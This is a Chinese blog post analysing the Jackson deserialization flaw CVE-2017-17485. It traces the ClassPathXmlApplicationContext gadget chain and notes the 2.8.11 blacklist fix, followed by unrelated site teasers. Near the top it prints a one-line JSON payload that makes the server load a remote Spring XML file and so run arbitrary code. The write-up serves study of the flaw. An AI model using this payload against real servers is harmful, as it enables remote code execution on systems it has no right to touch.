Jackson CVE-2017-17485 反序列化漏洞

创始人

2024-05-28 19:46:28

0次

0x00 前言

同CVE-2017-15095一样，是CVE-2017-7525黑名单绕过的漏洞，主要还是看一下绕过的调用链利用方式。

可以先看：

Jackson 反序列化漏洞原理

或者直接看总结也可以：

Jackson总结

涉及版本：2.8.10和2.9.x至2.9.3

0x01 环境搭建

        com.fasterxml.jackson.dataformatjackson-dataformat-xml2.8.10org.springframeworkspring-context5.3.23

0x02 调用链分析

poc:

"{\"object\":[\"org.springframework.context.support.ClassPathXmlApplicationContext\",\"http://127.0.0.1:8008/spring.xml\"]}";

首先来看调用链：org.springframework.context.support.ClassPathXmlApplicationContext，可以通过这个调用链来加载远程的SpEL表达式，从而达到执行任意代码执行的目的。

Jackson可以调用带有参数的构造方法，这里调用的是： ClassPathXmlApplicationContext(String configLocation)
在这里插入图片描述最终会调用到此处：ClassPathXmlApplicationContext，setConfigLocations用来配置本地化信息
重点在refresh位置，通过obtainFreshBeanFactory远程加载文件
通过finishBeanFactoryInitialization执行SpEL表达式
之后就是加载单列beam,会对SpEL的内容进行解析，从而触发想要执行的内容。

0x03 修复

在2.8.11版本的时候，将黑名单挪到了src\main\java\com\fasterxml\jackson\databind\jsontype\impl\SubTypeValidator.java，同时增加了部分的黑名单。

实际上除了以上的调用链，也可以通过如下的调用链进行尝试和利用：
在这里插入图片描述

词库加载错误:未能找到文件“E:\highferrum_mysql\Configuration\Dict_Stopwords.txt”。

上一篇：报错：java.util.ConcurrentModificationException 线程不安全

下一篇：开发手册——一、编程规约_8.注释规约

相关内容

热门资讯

安卓系统能跑win吗,探索跨平... 你有没有想过，你的安卓手机里能不能装上Windows系统呢？这听起来是不是有点像科幻电影里的情节？别...

安卓车载系统蓝牙设置,畅享智能... 你有没有发现，现在开车的时候，手机和车载系统之间的互动越来越频繁了呢？这不，今天就来给你详细说说安卓...

奥利奥安卓系统,探索新一代智能... 你有没有想过，一块小小的奥利奥饼干竟然能和强大的安卓系统扯上关系？没错，今天就要来聊聊这个跨界组合，...

微信使用安卓系统,功能解析与操... 你有没有发现，现在用微信的人越来越多了呢？尤其是安卓系统的用户，简直就像潮水一样涌来。今天，就让我带...

体验最新原生安卓系统,极致体验... 你有没有想过，手机系统就像是我们生活的调味品，有时候换一种口味，生活都会变得有趣起来呢？最近，我体验...

安卓系统能玩原神,尽享奇幻冒险... 你有没有想过，在安卓系统上也能畅玩《原神》这样的热门游戏呢？没错，就是那个画面精美、角色丰富、玩法多...

安卓写手机银行系统,基于安卓平... 你有没有想过，手机银行系统在我们日常生活中扮演了多么重要的角色呢？每天刷刷手机，就能轻松管理账户，转...

僵尸之夜恐怖安卓系统,揭秘恐怖... 僵尸之夜，恐怖安卓系统来袭！想象一个寂静的夜晚，你正沉浸在美梦中，突然，一阵诡异的铃声打破了夜的宁静...

谷歌框架和安卓系统,构建智能移... 你有没有想过，为什么你的手机那么聪明，能帮你找到路线，还能帮你拍出美美的照片呢？这都要归功于一个超级...

安卓系统和oppo系统哪个流畅... 你有没有想过，手机系统哪个更流畅呢？安卓系统和OPPO系统，这两个名字听起来就让人心动。今天，咱们就...

安卓怎么用微软系统,利用微软系... 你是不是也和我一样，对安卓手机上的微软系统充满了好奇？想象那熟悉的Windows界面在你的安卓手机上...

安卓系统如何安装nfc,安卓系... 你有没有想过，用手机刷公交卡、支付账单，是不是比掏出钱包来得酷炫多了？这就得归功于NFC技术啦！今天...

ios系统可以转安卓,跨平台应... 你有没有想过，你的iPhone手机里的那些宝贝应用，能不能搬到安卓手机上继续使用呢？没错，今天就要来...

iOSapp移植到安卓系统,i... 你有没有想过，那些在iOS上让你爱不释手的app，是不是也能在安卓系统上大放异彩呢？今天，就让我带你...

现在安卓随便换系统,探索个性化... 你知道吗？现在安卓手机换系统简直就像换衣服一样简单！没错，就是那种随时随地、随心所欲的感觉。今天，就...

安卓系统安装按钮灰色,探究原因... 最近发现了一个让人头疼的小问题，那就是安卓手机的安装按钮突然变成了灰色，这可真是让人摸不着头脑。你知...

安卓7.1.1操作系统,系统特... 你知道吗？最近我在手机上发现了一个超级酷的新玩意儿——安卓7.1.1操作系统！这可不是什么小打小闹的...

安卓os系统怎么设置,并使用`... 你有没有发现，你的安卓手机有时候就像一个不听话的小孩子，有时候设置起来真是让人头疼呢？别急，今天就来...

安卓降低系统版本5.1,探索安... 你知道吗？最近安卓系统又来了一次大动作，竟然把系统版本给降到了5.1！这可真是让人有点摸不着头脑，不...

解放安卓系统被保护,解放安卓系... 你有没有想过，你的安卓手机其实可以更加自由地呼吸呢？是的，你没听错，我说的就是解放安卓系统被保护的束...